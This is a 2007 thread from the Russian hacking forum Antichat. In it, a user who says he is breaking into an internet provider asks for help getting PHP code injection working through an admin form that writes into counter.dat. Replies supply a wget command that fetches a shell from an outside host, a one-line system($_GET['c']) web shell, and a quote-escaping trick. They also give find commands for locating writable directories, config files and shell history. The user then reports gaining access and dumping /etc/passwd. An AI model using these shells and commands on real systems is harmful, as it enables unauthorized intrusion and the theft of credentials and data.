ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пшп инъекция
  #1  
Старый 28.03.2007, 01:47
Аватар для FeeR
FeeR
Новичок
Регистрация: 15.01.2005
Сообщений: 4
Провел на форуме:
6561

Репутация: 0
По умолчанию Пшп инъекция

Имею 3 файла, admin.php, counter.dat, gor_news.php.

Админ пшп выглядит просто - 1 мемо и кнопка. То, что вводиться в мемо пишится в counter.dat. При заходе в gor_news.php загружаеться этот самый коунтер.дат. В админ.пшп можно вставлять пшп код, но код типа

<?php system('ls') ?>

в канутер.дат уже записываеться, как

<?php system(\'ls\') ?>

При вводе кода без кавычек получаю листинг файлов. Код типа

<?php system($cmd) ?>

выдает Warning: system() [function.system]: Cannot execute a blank command in /var/apache2/htdocs/rus/home/counter.dat on line 1

Думаю, проблема вам понятна) Как её можно обойти, и если обойти нельзя, можно ли прямым вводом команд получать листинг предыдущей папки? Выручайте, провайдера взламываю =)

Последний раз редактировалось FeeR; 28.03.2007 в 01:56..
 
Ответить с цитированием

  #2  
Старый 28.03.2007, 02:05
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

хз чё посоветовать
попробуй wget'ом шелл залить
<? system(wget http://medved.ru/preved.php /var/apache2/htdocs/rus/home/preved.php) ?>
 
Ответить с цитированием

  #3  
Старый 28.03.2007, 02:10
Аватар для FeeR
FeeR
Новичок
Регистрация: 15.01.2005
Сообщений: 4
Провел на форуме:
6561

Репутация: 0
По умолчанию

На вгет получил

Parse error: syntax error, unexpected T_STRING in /var/apache2/htdocs/rus/home/counter.dat on line 1
=)
Пробовал так:
<?php system(&#39 ls &#39); ?>

Глупо, и не получилось =)

Напомните плз команды сервера, ls, cd и т.д., просмотр файла и всякое такое, давно не работал забыл уже ))

Последний раз редактировалось FeeR; 28.03.2007 в 02:12..
 
Ответить с цитированием

  #4  
Старый 28.03.2007, 09:37
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Точно незнаю, но помойму эта хрень называется "magic quotes" и как то отключается на сервере
 
Ответить с цитированием

  #5  
Старый 28.03.2007, 10:35
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

мдя..
<? system($_GET[c]); ?>
потом командуй
script.php?c=id
__________________
 
Ответить с цитированием

  #6  
Старый 28.03.2007, 12:03
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

\x27 = '
 
Ответить с цитированием

  #7  
Старый 28.03.2007, 12:27
Аватар для Isis
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


Cool

Цитата:
Сообщение от +toxa+  
мдя..
<? system($_GET[c]); ?>
потом командуй
script.php?c=id
PHP код:
<? system($_GET[c]); ?>
Тош))
Так правильнее будет -->>
PHP код:
<? system($_GET['c']); ?>
 
Ответить с цитированием

  #8  
Старый 28.03.2007, 12:31
Аватар для FeeR
FeeR
Новичок
Регистрация: 15.01.2005
Сообщений: 4
Провел на форуме:
6561

Репутация: 0
По умолчанию

Так, спасибо тоха, я делал немного подругому) c как переменную объявлял и пшп тупил =) Есть доступ. Какие файлы в ../../../../../ могут пригодиться? =) etc\passwd слил.
 
Ответить с цитированием

  #9  
Старый 28.03.2007, 13:45
Аватар для fYt
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию

Почти в любом шелле есть поиск всех *conf, suid программ и др...загрузи шелл командой wget http://yoursite/shell.php(шеллы тут ). Также можно посмотреть bash_history в домашних каталогах /home/*(они не объязательно могут быть там).
 
Ответить с цитированием

  #10  
Старый 29.03.2007, 02:13
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

просто командуй:
Цитата:
директории доступные для записи:
find / -type d -perm 0777 -ls

ищем файлы содержашие в названии "config":
find / -type f -name "*config*.php" -ls
*_history файлы:
find / -type f -name "*_history" -ls
и так далее...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL инъекция (в т.ч. и blind SQL) kot777 Уязвимости 4 04.10.2008 17:18
Взлом БОЛЬШОГО БРАТА - tntbrat.ru. SQL - инъекция. Егорыч+++ Комментарии к видео 84 11.08.2005 20:23
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL инъекция в сервере MySQL k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ